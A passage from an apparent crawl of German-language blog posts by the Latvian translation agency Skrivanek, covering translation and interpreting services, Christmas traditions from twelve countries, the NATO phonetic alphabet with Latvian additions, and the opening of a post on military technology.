bedeutet, dass der Dolmetscher gleichzeitig während der Rede dolmetscht. Es wird daher häufig bei Seminaren, Konferenzen und geschäftlichen Veranstaltungen, manchmal aber auch bei kulturellen Veranstaltungen, Theateraufführungen oder Filmvorführungen eingesetzt. Bei solchen Veranstaltungen arbeiten die Dolmetscher meist mit spezieller Ausrüstung - Während der Redner vor den Zuhörern spricht, sitzt der Dolmetscher in einer schalldichten Kabine und übersetzt, und die Teilnehmer der Veranstaltung hören die Übersetzung über Kopfhörer. Konsekutivdolmetschen ist eine Interaktion zwischen dem Redner und dem Übersetzer - der Übersetzer hört zu, was der Redner in einer Sprache sagt und überträgt es dann in eine andere Sprache. Diese Art der Übersetzung wird bei kleinen Geschäftsbesprechungen oder Präsentationen verwendet. ÜBERSETZUNGEN VON DOKUMENTEN Bevor Sie sich in ein Land begeben, in dem das betreffende Dokument einer Institution vorgelegt werden muss, sollten Sie sich informieren, ob es mit einer Apostille beglaubigt werden muss. Wenn Sie eine Übersetzung eines öffentlichen Dokuments benötigen, wie z. B. Geburtsurkunden, Heiratsurkunden, Bildungsabschlüsse, Zeugnisse und Vollmachten, erkundigen Sie sich vorher, ob das Übersetzungsbüro auch beglaubigte Übersetzungen von Dokumenten anbietet. Bei der notariellen Beglaubigung wird das übersetzte Dokument legalisiert, d. h. ein qualifizierter Übersetzer beglaubigt die Übersetzung mit seiner Unterschrift und übernimmt die Verantwortung für die Richtigkeit der Übersetzung, während ein vereidigter Notar die Unterschrift des Übersetzers beglaubigt. Es ist zu beachten, dass nur in der Republik Lettland ausgestellte Dokumente von einem vereidigten Notar mit einer Apostille versehen werden können. ÜBERSETZUNGSDIENSTE UND KORREKTURLESEN Zu jedem schriftlichen Text gehören auch Korrekturlesen und Lektorat. Ein Übersetzungsbüro arbeitet in der Regel mit Korrekturlesern und Lektoren zusammen, um die Übersetzung von einem anderen Sprachprofi überprüfen zu lassen, wobei auf Grammatik, stilistische Feinheiten, Satzbau und Lesefluss geachtet wird. Die Übersetzungsbüros bieten oft ein im Preis der Übersetzung inbegriffenes Korrekturlesen an. Das Übersetzungsbüro Skrivanek sorgt außerdem dafür, dass jede Übersetzung von einem Korrekturleser überprüft wird, der Muttersprachler der Zielsprache ist, um sicherzustellen, dass die Übersetzungen klar und grammatikalisch korrekt sind. LOKALISIERUNG VON ÜBERSETZUNGEN Oft benötigen Kunden nicht nur eine Übersetzung, sondern auch eine Lokalisierung und Adaption der Übersetzung an die Zielgruppe. Um die Geschichte, die Werte, die Botschaft oder die technischen Merkmale des Produkts des Unternehmens professionell und präzise in die Zielsprache zu übertragen, ist es wichtig, die Informationen in der richtigen Intonation zu vermitteln und das passende Vokabular, die richtige Phraseologie und die richtigen Begriffe zu wählen. In Branchen wie der Werbe- und Marketingbranche basiert die Übersetzung auf der Adaption. Untersuchungen über Übersetzungen und die Bedeutung ihrer Anpassung an das Zielpublikum zeigen, dass trotz der Dominanz der englischen Sprache in der Welt eine übersetzte und an die Zielsprache angepasste Werbekampagne oder Website bessere Ergebnisse erzielt. So haben Facebook-Anzeigen mit lokalisierten Anzeigentexten eine um 22% höhere Klickrate bei Frauen und eine um 87% höhere Klickrate bei Männern; 46% der Suchanfragen bei Google beziehen sich auf lokale Informationen in der Landessprache; 75% der Verbraucher ziehen eher einen Kauf in Betracht, wenn der Dienst in ihrer Muttersprache angeboten wird. WIE MAN EINEN ÜBERSETZUNGSDIENSTLEISTER AUSWÄHLT Wenn Sie regelmäßig Übersetzungsdienstleistungen für geschäftliche oder private Zwecke benötigen, ist es sehr wichtig, eine erfolgreiche langfristige Zusammenarbeit mit einem Übersetzungsbüro aufzubauen, das eine schnelle und qualitativ hochwertige Übersetzung gewährleistet. Sie sollten zuerst wissen, was Ihr Anliegen ist. Welche Art von Übersetzung benötigen Sie? Wenn Sie im Marketing tätig sind, ist es wichtig, dass die Übersetzungen auch an die Kultur der Zielsprache angepasst sind. Die Übersetzung von Dokumenten wird jedoch reibungsloser verlaufen, wenn das Übersetzungsbüro auch die notarielle Beglaubigung übernimmt. Wer ist Ihre Zielgruppe - wird die Übersetzung von Ihren Kunden oder Geschäftspartnern gelesen? Benötigen Sie nur schriftliche Übersetzungen oder auch mündliche Übersetzungen (Dolmetschen)? In welchen Sprachkombinationen werden die Übersetzungen benötigt? Es ist wichtig, dass ein Übersetzungsbüro Übersetzer bereitstellen kann, die in Ihrer Ausgangs- und Zielsprache arbeiten. Langfristige Zusammenarbeit und Kundenfeedback Die Übersetzungsbranche ist ein schnell wachsender Wirtschaftszweig und selbst in einem kleinen Land wie Lettland gibt es eine Fülle an Übersetzungsbüros. Auf den Websites der Übersetzungsbüros können Sie sich in der Regel über deren größte Kunden und Projekte informieren. Sie können das Übersetzungsbüro auch nach seiner Erfahrung mit Materialien für eine bestimmte Branche fragen, vor allem, wenn Sie eine spezielle Terminologie und technisch komplexe Übersetzungen benötigen. Von einem vertrauenswürdigen Übersetzungsbüro erwarten wir, dass es eine qualitativ hochwertige Übersetzung fristgerecht liefert. Sie werden mit einem Projektmanager in Verbindung stehen, der alle Ihre Fragen beantworten und sicherstellen kann, dass die Übersetzung von einem geeigneten Übersetzer angefertigt wird und die vereinbarten Fristen und Qualitätsstandards eingehalten werden, sowie Ihnen ein Preisangebot unterbreiten kann, wenn Sie den Übersetzungsauftrag erteilen. Qualitätszertifikate Ob das Übersetzungsbüro die Anforderungen des Qualitätsmanagementsystems umgesetzt hat und mit professionellen Dolmetschern, Übersetzern, Lektoren und Korrekturlesern arbeitet, wird auch durch verschiedene ISO-Zertifikate bestätigt. Dieses Qualitätsmanagement gewährleistet die Qualität und Vertraulichkeit der Dienstleistungen. EN ISO 9001: Das Übersetzungsbüro hat die erforderlichen Verfahren eingeführt, damit die Qualität der Dienstleistungen den Bedürfnissen der Kunden und den Anforderungen der Rechtsakte entspricht; Das Zertifikat EN ISO 14001 bestätigt, dass sich unser Unternehmen für die Umwelt einsetzt. Dazu gehören der Einsatz umweltfreundlicher Technologien und Materialien für unsere Arbeit, die Mülltrennung und dass nur die notwendigsten Dokumente gedruckt werden. EN 17100: Die Auswahl von Übersetzungsspezialisten, die Kommunikation, das Projektmanagement, der Arbeitsprozess, der Einsatz von Technologie und andere branchenbezogene Aspekte erfüllen die festgelegten Anforderungen; ISO/ IEC 27001: Im Übersetzungsbüro wurden Maßnahmen zum Datenschutz eingeführt und die notwendige Kontrolle gewährleistet, um die Sicherheit und Vertraulichkeit der von unseren Kunden anvertrauten Daten zu garantieren; ISO 18587 Das Zertifikat bezieht sich auf die Nachbearbeitung maschinell übersetzter Texte und die Zusammenarbeit von Projektleiter und Redakteur bei der Projektdurchführung. SKRIVANEK IST SEIT ÜBER 25 JAHREN IM BEREICH DER ÜBERSETZUNGSDIENSTLEISTUNGEN TÄTIG Wir sind einer der größten Sprachdienstleister der Welt mit fast fünfzig Niederlassungen in verschiedenen Ländern rund um den Globus. Die lettische Niederlassung mit einem Büro im Zentrum von Riga ist seit 2003 tätig. Zu unseren Kunden zählen sowohl staatliche Institutionen und große Unternehmen als auch Privatpersonen. Wir führen täglich große und komplexe Projekte sowie Übersetzungen von Dokumenten verschiedener Größenordnungen durch und garantieren dabei erschwingliche Preise, Qualität und Termintreue. Skrivanek hat es sich zur Aufgabe gemacht, seinen Kunden dabei zu helfen, die Welt zu erkunden und ihr Geschäft zu entwickeln. Unser internationales Team bietet Übersetzungsdienstleistungen in mehr als 110 Sprachen, arbeitet professionell mit den neuesten Übersetzungstechnologien und bietet Korrekturlesen durch einen Muttersprachler der Zielsprache. Heutzutage kann die gesamte Kommunikation mit dem Kunden über die erforderlichen Dienstleistungen aus der Ferne erfolgen; alles, was Sie brauchen, ist eine E-Mail. Wenn Sie Übersetzungsdienstleistungen benötigen, nehmen Sie Kontakt mit uns auf oder besuchen Sie unser Büro in Riga, Lāčplēša iela 87C, wo Sie von Fachleuten in diesem Bereich empfangen werden. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Client *Private personCompany Name and surname *Telephone Add Remove Name and surname *Telephone Add Remove Company name *Telephone Add Remove Company name *Telephone Add Remove Email *Target language Add Remove Email *Target language Add Remove Additional informationDocument upload, max. 20 MB, if document exceeds the limit, write it in your message and we will contact you Click or drag files to this area to upload. You can upload up to 10 files. How did you learn about us? How did you learn about us? I am a Skrivanek clientGoogle search engineFriend/acquaintance suggestionFacebookTwitterLinkedInInstagramOutdoor advertisingTrade fair/exhibitionPrinted advertisingOther By clicking the "Send" button, you consent to the processing of your personal data in accordance with Skrivanek Baltic Privacy Policy. Submit Ziņu izvēlne Lesen Sie unseren vorherigen BlogbeitragValsts ieņēmumu dienestsLesen Sie unseren neuen BlogbeitragValsts sociālās apdrošināšanas aģentūra --- > Nicht jeder schmückt den Weihnachtsbaum, verteilt Geschenke und wartet auf den Weihnachtsmann. Wir haben einige interessante Weihnachtstraditionen aus aller Welt gesammelt. - Published: 2025-01-06 - Modified: 2025-07-09 - URL: https://skrivanek.lv/unikalas-un-interesantas-ziemassvetku-tradicijas-no-12-pasaules-valstim/ - Kategorijas: Raksti - Translation Priorities: Optional EINZIGARTIGE UND INTERESSANTE WEIHNACHTSTRADITIONEN AUS 12 LÄNDERN DER WELT Weihnachten wird auf unterschiedliche Weise gefeiert, wobei oft heidnische und christliche Traditionen vermischt sind. Das Schmücken des Weihnachtsbaums, der Besuch des Weihnachtsmanns, Geschenke mit Freunden und Familie auszutauschen, das Aufsagen von Gedichten und sogar das Baumstammziehen und das Gehen auf Stelzen sind für die meisten bekannte Traditionen. Interessanterweise feiern nicht alle Menschen Weihnachten auf die gleiche Weise. Deshalb haben wir einige einzigartige und interessante Weihnachtstraditionen aus 12 Ländern der Welt zusammengestellt. Diese Traditionen zeigen, auf welch vielfältige und kreative Weise verschiedene Kulturen Weihnachten feiern. Wir alle hier bei Skrivanek Baltic wünschen Ihnen frohe und besinnliche Weihnachten! DER HEILIGE NIKOLAUS UND DER KRAMPUS IN ÖSTERREICH Wir alle wissen, dass man für unanständiges Verhalten in der Vorweihnachtszeit nichts anderes als einen Klumpen Kohle unter dem Baum bekommen kann. In Österreich sind die Folgen weitaus schlimmer, denn Kinder, die sich nicht benehmen können, müssen mit dem Besuch des Krampus rechnen - einer gehörnten Schreckensgestalt, die sich um alle unartigen Kinder kümmert, während der Nikolaus nur die braven Kinder besucht. Der Krampus verteilt nicht nur Kohle; böse Kinder können gefressen oder im schlimmsten Fall sogar in die Hölle verschleppt werden. Der Krampus ist schon von Weiten zu hören, denn sein Besuch wird durch das Rasseln rostiger Ketten und das furchterregende Läuten eines zotteligen Ziegenbocks eingeläutet. Am 5. Dezember ziehen Männer als Krampus verkleidet durch die Straßen der Stadt, erschrecken Menschen mit Stöcken und kommen, um Kinder in ihren eigenen Häusern zu erschrecken. In Österreich und einigen Teilen Deutschlands ist diese Tradition als Krampusnacht bekannt. Wenn diese Weihnachtstradition faszinierend klingt, lohnt es sich auf jeden Fall, den jährliche Krampuslauf in Wien zu besuchen. JULBOCK - DIE STROHZIEGE IN SCHWEDEN In Schweden glaubt man, dass ein unsichtbarer Geist in Form einer Ziege vor Weihnachten erscheint, um sicherzustellen, dass die Vorbereitungen für das Fest gut verlaufen. Die Tradition des Julbock (Weihnachtsbock) geht auf das 11. Jahrhundert zurück und zeigt eine lebensgroße Ziegenfigur in Begleitung des Heiligen Nikolaus. Die Rolle der Ziege hat sich im Laufe der Jahre weiterentwickelt. Im 17. Jahrhundert verkleideten sich junge Männer als Ziegen, tänzelten herum, neckten andere und forderten Geschenke. Im 19. Jahrhundert verteilte der Bock dann selbst Geschenke. Anstelle des Weihnachtsmanns verkleidete sich der Hausherr oft als Bock und beschenkte die ganze Familie. Heutzutage ist der Julbock in ganz Schweden als traditioneller Weihnachtsschmuck zu sehen. In den Großstädten werden riesige Versionen dieser Ziegenfiguren aus Stroh und roten Bändern angefertigt. DAS KACKENDE HOLZSTÜCK IN KATALONIEN, SPANIEN In Katalonien gibt es eine Weihnachtstradition, die sich um einen Holzklotz namens Caga Tió dreht, was so viel wie „kackender Klotz“ bedeutet. Es handelt sich um einen verzierten Baumstamm, der mit kleinen Holzstützen versehen ist und an dessen einem Ende ein Gesicht gezeichnet ist. Ab dem 8. Dezember wird Caga Tió jede Nacht mit Leckereien „gefüttert“ und mit einer Decke zugedeckt. An Heiligabend oder am ersten Weihnachtstag wird der Baumstamm mit einem Stock geschlagen, so dass er versteckte Süßigkeiten und Nüsse ausspuckt. Man muss dazu sagen, dass dies nicht die einzige Tradition auf der Welt ist, die mit Kacken zu tun hat. In Spanien, Portugal und einigen Regionen Italiens wird Weihnachten traditionell durch Krippen dargestellt. An diesen Orten steht neben Maria, Josef und dem Jesuskind eine Figur namens Caganer (dt. Scheisser), geschnitzt in Form eines Mannes mit heruntergelassenen Hosen und einem kleinen Haufen Kacke unter ihm. Der Caganer gilt als Glücksbringer, und der Brauch ist seit dem 18. Jahrhundert verbreitet. Heutzutage kann man neben dem traditionell gekleideten Caganer auch Figuren von bekannten Persönlichkeiten, Mönchen, Politikern und dem Weihnachtsmann sehen. GEBRATENES HUHN UND KUCHEN AUF DEM WEIHNACHTSMENÜ IN JAPAN Während der englischsprachige Teil der Welt an den Feiertagen Weihnachtsschinken und Pudding isst, ist es in Japan eine bekannte Tradition, Kentucky Fried Chicken (KFC) als Teil des Weihnachtsessens zu haben. 1970 wurde das erste KFC-Restaurant in Japan eröffnet und diese Tradition begann 1974 nach einer äußerst erfolgreichen Marketingkampagne. Das spezielle Weihnachtsangebot muss im Voraus bestellt werden, sonst kann es sein, dass man in einer endlosen Warteschlange steht. Neben dem Huhn gibt es auf dem japanischen Festtagstisch auch etwas Süßes - den Weihnachtskuchen. Es ist ein weißer Biskuitkuchen mit Schlagsahne und Erdbeeren. SPINNENNETZE AM WEIHNACHTSBAUM IN DER UKRAINE Die Weihnachtsgurke ist nicht das einzige Ungewöhnliche, das man an einen Baum hängen kann. In der Ukraine verstecken die Menschen künstliche Spinnen mit Netzen in ihrem Weihnachtsbaum, weil sie glauben, dass es Glück bringt, sie zu finden. Der ukrainischen Folklore zufolge gab es einmal eine arme Witwe, die sich keinen Schmuck für den Weihnachtsbaum ihrer Familie leisten konnte. Als sie eines Morgens aufwachte, bemerkte sie eine Spinne, die ihren Baum mit ihrem Netz wunderschön geschmückt hatte und für festliche Stimmung sorgte. In der ukrainischen Kultur gelten Spinnennetze als Glücksbringer. WEIHNACHTSGURKEN IN DEN VEREINIGTEN STAATEN Es ist üblich, Weihnachtsbäume mit Ornamenten, Engeln, Sternen und anderen Dekorationen zu schmücken, aber wie wäre es mit einem Ornament in Form einer Gurke? In einigen Teilen der Vereinigten Staaten gibt es eine von deutschen Einwanderern ins Leben gerufene Tradition, bei der eine Weihnachtsgurke im Weihnachtsbaum versteckt wird. Das Kind, das sie zuerst findet, erhält ein zusätzliches Geschenk oder soll im nächsten Jahr Glück haben. Eine weitere interessante Tradition in den Vereinigten Staaten ist die 1994 ins Leben gerufene SantaCon. Die Menschen versammeln sich als Weihnachtsmann verkleidet in den Innenstädten, feiern gemeinsam und nehmen an Umzügen teil. Die größte SantaCon findet jedes Jahr in New York statt. BEFANA - DIE ITALIENISCHE WEIHNACHTSHEXE In Italien wird die Rolle des Weihnachtsmanns oft von La Befana übernommen - einer alten Dame, die auf einem Besen reist. In der Nacht zum 5. Januar besucht die gute Hexe alle Kinder und beschenkt diejenigen, die brav waren, während sie für die bösen Kinder Zwiebeln und Knoblauch übrig lässt. Genau wie der Weihnachtsmann kommt La Befana durch den Schornstein in die Häuser und nascht von den Leckereien, die die Kinder hinterlassen - in der Regel Wein und lokale Köstlichkeiten. WEIHNACHTSSINGEN MIT TROMMELN IN PUERTO RICO Ähnlich wie bei den Christmas Carols (dt. Weihnachtslieder) in Amerika gehen die Puertoricaner gegen 22 Uhr auf die Straße und singen traditionelle Weihnachtslieder. Es ist viel lauter und lustiger, als man erwarten würde, denn das Weihnachtsliedersingen wird von verschiedenen traditionellen Instrumenten begleitet: Gitarren, Tamburine und Trommeln. REISBREI UND SAUNA IN FINNLAND Jeder kennt die traditionellen Weihnachtsgerichte, aber Finnland hat seine eigene traditionelle Mahlzeit für den Weihnachtsmorgen - einen deftigen Reisbreis aus Milch mit Zimt und Butter. Die Finnen sind bekannt für ihre Vorliebe für Saunen und sie sind jederzeit für einen Saunabesuch zu haben, sogar an Heiligabend. In Finnland ist es Tradition, in die Sauna zu gehen und den Körper zu reinigen, bevor man sich zum Weihnachtsmahl hinsetzt und das Fest feiert. AUF ROLLSCHUHEN ZUR KIRCHE IN VENEZUELA Es ist zwar nichts Neues, an Weihnachten in die Kirche zu gehen, aber in Venezuela gibt es eine Tradition, die Weihnachtsmesse auf Rollschuhen zu besuchen. Die Straßen sind oft für den Autoverkehr gesperrt, um den festlichen und einzigartigen Anblick der Rollschuhfahrer auf dem Weg zur Kirche zu ermöglichen. Es wird vermutet, dass das Rollschuhlaufen in Venezuela in der Ferienzeit deshalb so populär geworden ist, weil es keinen Schnee gibt und sowas wie Schlitten- oder Skifahren nicht möglich ist. 13 TAGE DER GESCHENKE UND DIE WEIHNACHTSKATZE IN ISLAND Während wir mit unseren Adventskränzen und -kalendern die Zeit bis Weihnachten herunterzählen, beginnt in Island die Vorfreude auf Weihnachten am 12. Dezember - insgesamt 13 Tage lang. In Island glaubt man, dass jeder dieser Tage einem der 13 Yule Lads gewidmet ist, Figuren, die an bärtige Männer erinnern und möglicherweise mit Trollen aus der traditionellen Folklore verwandt sind. Diese Wesen besuchen die Kinder in den 13 Nächten vor Weihnachten und hinterlassen je nach Verhalten der Kinder Geschenke oder faule Kartoffeln. Die Leckereien werden in Weihnachtsstrümpfe gesteckt, die am Fenster hängen. Aber das ist noch nicht alles! Während der Weihnachtszeit streift eine riesige Weihnachtskatze durch die verschneiten Felder und frisst jeden, der in dieser Zeit keine neuen Kleider gekauft hat. Noch heute ist es in Island eine beliebte Tradition, zu Weihnachten Kleidung zu kaufen, um ein schlimmes Schicksal zu vermeiden. BESENVERSTECKEN IN NORWEGEN Die Norweger haben die Tradition, an Heiligabend alle Besen im Haus zu verstecken, denn in dieser Nacht erwachen Hexen, böse Geister und andere bösartige Kreaturen und suchen nach Besen, damit sie durch das Land ziehen und den Menschen Streiche spielen können. Ziņu izvēlne Lesen Sie unseren vorherigen BlogbeitragValsts ieņēmumu dienestsLesen Sie unseren neuen BlogbeitragValsts sociālās apdrošināšanas aģentūra --- > Lernen Sie die Genauigkeit der militärischen Kommunikation mit unserem Spickzettel für das militärische Phonetische Alphabet kennen. Lernen Sie das Alphabet von Alpha bis Zulu. - Published: 2025-01-06 - Modified: 2025-07-18 - URL: https://skrivanek.lv/militarais-alfabets/ - Kategorijas: Artikel - Translation Priorities: Optional WAS IST DAS MILITÄRISCHE ALPHABET? Wenn Sie sich das Alphabet vorstellen, denken Sie wahrscheinlich an die Buchstaben, aus denen Wörter und Sätze gebildet werden. Vielleicht fällt Ihnen das lateinische Alphabet oder auch das kyrillische Alphabet ein. Das kommt einem als erstes in den Sinn, aber es lohnt sich auch, andere Arten von Alphabeten zu erwähnen, die nichts mit einer Fremdsprache zu tun haben, jedoch dennoch zu einer effektiven Kommunikation beitragen. Lernen Sie das militärische Alphabet kennen, das auch als das NATO-Alphabet, als internationale Buchstabiertafel des Sprechfunks oder als Alphabet der Internationalen Zivilluftfahrtorganisation (ICAO) bekannt ist. WARUM WURDE DAS PHONETISCHE ALPHABET GESCHAFFEN? Die Geschichte des Militäralphabets geht auf den Ersten Weltkrieg zurück, als die Armeen ein eindeutiges System für die Funkkommunikation benötigten. Stellen Sie sich vor, wie leicht es war, bei der Übermittlung von Informationen durcheinander zu kommen, vor allem, wenn einige Buchstaben (z. B. „b“ und „p“ oder „m“ und „n“) in gestörten Funkübertragungen ähnlich klingen. Um Fehler zu vermeiden, wurde ein System eingeführt, bei dem jeder Buchstabe mit einem bestimmten Namen versehen wurde. Zum Beispiel wird der Buchstabe „b“ durch „Bravo“ und der Buchstabe „d“ durch „Delta“ ersetzt. Das militärische Alphabet beseitigt Verwirrungen. Es ist unglaublich nützlich für eine effektive Kommunikation. Das militärische Alphabet, insbesondere seine gebräuchlichste Version, das NATO-Alphabet, ist zu einem unverzichtbaren Hilfsmittel für Militärpersonal, Piloten, Seeleute und viele andere Berufsgruppen geworden. Klar definierte Wörter stehen für jeden Buchstaben und jede Zahl des englischen Alphabets. Fehler und Missverständnisse können dadurch vermieden werden. In manchen Extremsituationen können sie sogar Leben retten. Interessiert es Sie, wie es funktioniert? Zum Beispiel das Wort „Hilfe“. Im phonetischen Alphabet wird es „Hotel India Lima Foxtrot Echo“ buchstabiert. Diese Art der Kommunikation mag einfach erscheinen, aber man muss sich daran gewöhnen. PHONETISCHES ALPHABET: EIN KLEINER EINBLICK IN DIE GESCHICHTE Vor dem Ersten Weltkrieg, mit dem Aufkommen des Zwei-Wege-Funks und der Sprachkommunikation, verbesserten phonetische Alphabete die Verständlichkeit von Ferngesprächen und Telefongesprächen niedriger Qualität. Das erste international anerkannte nicht-militärische phonetische Alphabet wurde 1927 vom Beratenden Ausschuss für den internationalen Rundfunk (CCIR), dem Vorläufer der Internationalen Fernmeldeunion (ITU), verabschiedet. Die Internationale Kommission für Luftfahrt, die Vorgängerin der ICAO (Internationale Zivilluftfahrt-Organisation), übernahm das Alphabet 1932, und es wurde bis zum Zweiten Weltkrieg verwendet. Während des Zweiten Weltkriegs entwickelten verschiedene Länder ihre eigenen phonetischen Alphabete. Die Vereinigten Staaten standardisierten ihr System 1941 mit dem Joint Army/ Navy Radiotelephony Alphabet, bekannt als „Able Baker“. Die Royal Air Force und andere britische Streitkräfte übernahmen ähnliche Alphabete, wobei einige Begriffe wie „Freddie“ für „F“ und „Sugar“ für „S“ standen. Beide Codenamen werden im Vereinigten Königreich manchmal noch verwendet. Während des Zweiten Weltkriegs führte das US-Militär umfangreiche Forschungen zu phonetischen Alphabeten durch. Das Alphabet „Able Baker“ wurde in die internationale Luftfahrt übernommen. Allerdings haben englischsprachige Klänge in Lateinamerika zur Entwicklung von Alternativen geführt, wie z. B. dem Alphabet „Ana Brazil“. 1947 schlug die IATA der ICAO die Entwicklung eines Alphabets vor, das gemeinsame Laute für Englisch, Französisch, Spanisch und Portugiesisch enthielt. Von 1948 bis 1949 arbeitete der Linguistikprofessor Jean-Paul Vinay zusammen mit der ICAO an der Entwicklung eines neuen phonetischen Alphabets. Die Wörter mussten leicht auszusprechen und für die Piloten in allen Sprachen erkennbar sein, mit guter Funkübertragungs- und Lesequalität und in Englisch, Französisch und Spanisch ähnlich klingen. Das überarbeitete Alphabet wurde 1951 von der ICAO angenommen. Diese Liste stieß jedoch auf Probleme, insbesondere im Hinblick auf die Verständlichkeit unter schlechten Bedingungen. Nach umfangreichen Tests und Forschungen in verschiedenen Ländern wurde 1956 von der ICAO ein neues offizielles phonetisches Alphabet veröffentlicht und bald darauf vom Nordatlantikpakt (NATO) übernommen. WER VERWENDET DAS PHONETISCHE ALPHABET? Das phonetische Alphabet wurde rasch von verschiedenen internationalen Organisationen übernommen, darunter: der Internationalen Fernmeldeunion (ITU), der Internationalen Seeschifffahrts-Organisation (IMO), dem US- Verteidigungsministerium, der amerikanischen Bundesluftfahrtsverwaltung (FAA), dem Internationalen Amateurfunkverband (IARU), der American Radio Relay League (ARRL), und der Association of Public-Safety Communications Officials-International (APCO). Obwohl diese verschiedenen Behörden im Allgemeinen die gleichen alphabetischen Codewörter verwendeten, gab es leichte Unterschiede bei den numerischen Codewörtern. Die NATO hat sich dafür entschieden, die üblichen englischen Zahlenwörter zu verwenden (zero, one, two usw. ). Im Gegensatz dazu haben die ITU und die IMO zusammengesetzte numerische Wörter definiert (z. B. „nadazero“ für Null, „unaone“ für Eins, „bissotwo“ für Zwei usw. ). In der Praxis werden diese Begriffe jedoch nur selten verwendet, vor allem weil sie nicht für alle Behörden gleich sind. DIE GRUNDLAGEN DES PHONETISCHEN ALPHABETS Das phonetische Alphabet der NATO ist mehr als nur eine Reihe spezifischer, leicht zu merkender Wörter, die den Buchstaben zugeordnet sind. Schauen wir uns jeden Buchstaben genauer an: Alpha (A), Bravo (B), Charlie (C), Delta (D), Echo (E), Foxtrott (F), Golf (G), Hotel (H), India (I), Juliett (J), Kilo (K), Lima (L), Mike (M), November (N), Oscar (O), Papa (P), Quebec (Q), Romeo (R), Sierra (S), Tango (T), Uniform (U), Victor (V), Whiskey (W), X-ray (X), Yankee (Y) und Zulu (Z). Alle Wörter wurden sorgfältig ausgewählt. Sie sind einzigartig und unterscheiden sich klanglich deutlich voneinander. Dadurch wird das Risiko gefährlicher Fehler bei Kommunikationsproblemen oder schwer verständlichen Botschaften erheblich verringert. WIE VERWENDET MAN DIE INTERNATIONALE BUCHSTABIERTAFEL DES SPRECHFUNKS? Stellen Sie sich einen Piloten im Flug vor. Er muss wichtige Informationen über den Flug übermitteln. Anstatt einfach die Flugnummer zu sagen, z. B. FL380 (was von der Flugsicherung missverstanden werden könnte), verwendet der Pilot das NATO-Alphabet. Er sagt: „Foxtrott Lima three eight zero“ und wird sofort verstanden. MILITÄRISCHES ALPHABET: SPICKZETTEL Das militärische Alphabet enthält sowohl Buchstaben als auch Zahlen. Hier ist ein praktischer Spickzettel, den Sie immer dann verwenden können, wenn Sie das phonetische Alphabet benutzen müssen. BUCHSTABEN Alpha (A) Bravo (B) Charlie (C) Delta (D) Echo (E) Foxtrott (F) Golf (G) Hotel (H) India (I) Juliett (J) Kilo (K) Lima (L) Mike (M) November (N) Oscar (O) Papa (P) Quebec (Q) Romeo (R) Sierra (S) Tango (T) Uniform (U) Victor (V) Whiskey (W) X-ray (X) Yankee (Y) Zulu (Z) Da das lettische Alphabet jedoch lange Vokale und Konsonanten mit Palatalisierungszeichen enthält, haben diese zusätzliche Buchstaben des phonetischen Alphabets Ādaži (Ā) Čiekuri (Č) Ēdole (Ē) Ģermāņi (Ģ) Īleni (Ī) Ķemeri (Ķ) Ļaudona (Ļ) Ņujorka (Ņ) Šanhaja (Š) Ūdele (Ū) Žīguri (Ž) ZAHLEN Zero (0) One (1) Two (2) Three (3) Four (4) Five (5) Six (6) Seven (7) Eight (8) Nine (9) Dieser Spickzettel ist ein nützliches Nachschlagewerk. Er hilft Ihnen, wenn Sie klar und präzise kommunizieren müssen, z. B. im Funkverkehr, bei militärischen Einsätzen oder sogar in bestimmten zivilen Situationen (z. B. in der Luftfahrt oder im Kundendienst). Halten Sie ihn griffbereit, wenn jedes Wort zählt! WIE LERNT MAN DAS PHONETISCHE ALPHABET? Das Erlernen des NATO-Alphabets mag anfangs entmutigend erscheinen, aber mit diesen wirksamen Methoden wird es leichter werden. 1. DAS ALPHABET IN KLEINERE GRUPPEN AUFTEILEN Beginnen Sie damit, das Alphabet in kleine, leicht zu lesende Gruppen von Buchstaben zu unterteilen. Lernen Sie sie eine Gruppe nach der anderen. Beginnen Sie mit der Gruppe A-E (Alpha, Bravo, Charlie, Delta, Echo) und arbeiten Sie sich dann nach unten durch. Dieser Ansatz macht das Lernen leichter. Und wenn Sie sich selbst herausfordern wollen, können Sie die oben abgebildeten Buchstaben des lettischen Phonetischen Alphabets hinzufügen. 2. REGELMÄSSIGE WIEDERHOLUNG UND ÜBUNG Gewöhnen Sie sich an, das phonetische Alphabet im Alltag zu verwenden. Verwenden Sie es, um Nachnamen oder Adressen zu buchstabieren. Sie stehen im Stau? Versuchen Sie die Nummernschilder von Autos in der Nähe oder die Namen von Freunden zu buchstabieren. 3. KARTEIKARTEN ERSTELLEN Erstellen Sie Karteikarten mit Buchstaben und passenden Namen. Fügen Sie Bilder hinzu, die Sie den einzelnen Buchstaben zuordnen können. Visuelle Anhaltspunkte sind sehr hilfreich, wenn man sich etwas merken will. 4. FREUNDE ODER FAMILIE EINBEZIEHEN Beziehen Sie Freunde oder Familie in den Lernprozess ein. Bitten Sie sie, den Buchstaben zu nennen und mit dem richtigen Codewort zu antworten. Mit der Zeit werden Ihnen das NATO-Alphabet und das zusätzliche lettische phonetische Alphabet so selbstverständlich vorkommen wie das normale Alphabet. MILITÄRISCHE ÜBERSETZUNGEN Die militärische Übersetzung ist eine sehr verantwortungsvolle Aufgabe. Das Übersetzungsbüro Skrivanek hat sich auf Übersetzungen für Kunden aus dem Verteidigungssektor spezialisiert. Wir verstehen die Feinheiten der Militärsprache. Unser Team besteht aus erfahrenen Übersetzern, ehemaligem Militärpersonal und Sicherheitsexperten. Jede Übersetzung ist genau und entspricht dem Originaltext. Ganz gleich, ob Sie international tätig sind oder spezielle Übersetzungen von Dokumenten benötigen, wir sorgen dafür, dass Ihre Kommunikation korrekt und verständlich ist. Die Zusammenarbeit mit Skrivanek bedeutet, dass jedes Wort genau übersetzt wird. Füllen Sie das Kontaktformular auf unserer Website aus, um ein kostenloses Angebot für Ihr Projekt zu erhalten, oder buchen Sie eine Online-Beratung, um herauszufinden, wie wir Ihnen helfen können. Ziņu izvēlne Lesen Sie unseren vorherigen BlogbeitragValsts ieņēmumu dienestsLesen Sie unseren neuen BlogbeitragValsts sociālās apdrošināšanas aģentūra --- > Die Entwicklung der Militärtechnologie hat positive Auswirkungen auf verschiedene Sektoren. Lernen internationale lettische Unternehmen kennen - Published: 2025-01-06 - Modified: 2025-07-18 - URL: https://skrivanek.lv/militaras-tehnologijas/ - Kategorijas: Raksti - Translation Priorities: Optional MILITÄRTECHNIK In der heutigen Zeit wird immer mehr über Innovationen im Bereich des militärischen und zivilen Schutzes nachgedacht und gearbeitet. Um mit potenziellen Gegnern konkurrieren zu können, müssen Länder fortschrittliche Zukunftstechnologien und -kompetenzen nutzen und entwickeln. Um dies zu erreichen, ist die Zusammenarbeit auf dem Gebiet der 